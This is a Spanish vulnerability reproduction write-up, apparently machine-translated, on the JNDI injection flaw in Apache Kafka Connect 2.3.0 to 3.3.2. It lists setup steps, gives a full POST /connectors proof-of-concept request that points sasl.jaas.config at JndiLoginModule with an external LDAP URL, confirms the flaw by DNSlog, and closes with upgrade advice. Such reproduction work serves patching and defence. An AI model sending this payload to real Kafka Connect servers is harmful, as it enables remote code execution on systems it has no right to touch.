1. Introducción del producto
Kafka Connect es una herramienta para la transmisión de datos escalable y confiable entre Apache Kafka y otros sistemas. Simplifica la definición rápida de conectores que mueven grandes cantidades de datos dentro y fuera de Kafka. Kafka Connect puede ingerir bases de datos completas o recopilar métricas de todos los servidores de aplicaciones en temas de Kafka, lo que hace que los datos estén disponibles para el procesamiento de flujo de baja latencia.
2. Visión general de la vulnerabilidad
Existe una vulnerabilidad de inyección JNDI en Apache Kafka Connect. Cuando el atacante puede acceder a Kafka Connect Worker y puede crear o modificar el conector, configurando la propiedad sasl.jaas.config en com.sun.security.auth.module.JndiLoginModule, y luego puede conducir a la inyección de JNDI, lo que hace que RCE requiera una versión inferior de JDK o una cadena de explotación en el sistema Kafka Connect de destino.
3. Ámbito de influencia
Versión afectada
2.3.0 <= Apache Kafka <= 3.3.2
versión no afectada
Apache Kafka >= 3.4.0
4. Reproducir el entorno
Windows10 crea el entorno integrado Kafka2.4.0 (cree el entorno jdk y mysql usted mismo)
Estoy usando jdk-11.0.18_windows-x64_bin.exe (JDK8 también está disponible, se recomienda JDK11)
mysql 5.7.27
Dirección de descarga del entorno integrado de Kafka 2.4.0: https://download.csdn.net/download/qq_41904294/87588240
5. Recurrencia de la vulnerabilidad
entorno de inicio
bin\windows\zookeeper-server-start.bat config\zookeeper.properties
bin\windows\kafka-server-start.bat config\server.properties
bin\windows\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties
Si se informa un error: "La línea de entrada es demasiado larga. La sintaxis del comando es incorrecta". El motivo de este problema es que la longitud del comando de Windows admite hasta 8192 caracteres. En el script de inicio de Kafka, hay comandos para concatenar variables de rutas de clase. El contenido de la ruta de clases es una cadena concatenada de rutas absolutas de cada paquete jar. Cuando la ubicación de Kafka es relativamente profunda, es decir, cuando el directorio es relativamente largo, la longitud del classpath será demasiado larga.
Solución: acorte la estructura del árbol de directorios y coloque el directorio de instalación de Kafka directamente debajo del directorio raíz.
Visite el entorno de vulnerabilidad para ver si se inicia
Burp captura paquetes para ver si hay dependencias relacionadas
http://x.x.x.x:8083/connector-plugins
POC circulando actualmente en Internet
POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821
{
"name": "xxx",
"config": {
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "127.0.0.1",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxx",
"database.server.id": "xxxx",
"database.server.name": "xxxx",
"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
"database.history.kafka.topic": "xxxx", "database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}
Principio de POC: al crear el conector mysql, establezca la propiedad sasl.jaas.config en com.sun.security.auth.module.JndiLoginModule, lo que puede conducir a la inyección de JNDI
Use Dnslog echo para verificar si existe la vulnerabilidad
Se informó un error, verifique el mensaje de error del entorno de vulnerabilidad, que indica que el error de la zona horaria del servidor no se puede reconocer, encontré un método en Internet y encontré algunas configuraciones para modificar la zona horaria de la base de datos, configure time_zone = '+8 :00'; este método, pero no funcionó después de intentarlo, y luego lea el artículo nuevamente, cómo especificar la zona horaria de la base de datos al crear un conector
Agregue la configuración "database.serverTimezone" para resolverlo (no entiendo por qué se especifica aquí la zona horaria de EE. UU., y el hermano mayor que sabe puede darme algunos consejos)
"config": {
...
"database.serverTimezone": "America/Los_Angeles",
...
}
revalidar
El eco es exitoso y la vulnerabilidad existe
6. Sugerencia de reparación
Actualmente existe una versión oficial actualizable, se recomienda a los usuarios afectados actualizar a: Apache Kafka 3.4.0 y superior.
Los usuarios que no pueden actualizar temporalmente pueden mitigar esta vulnerabilidad al validar la configuración del conector de Kafka Connect para permitir solo configuraciones JNDI confiables.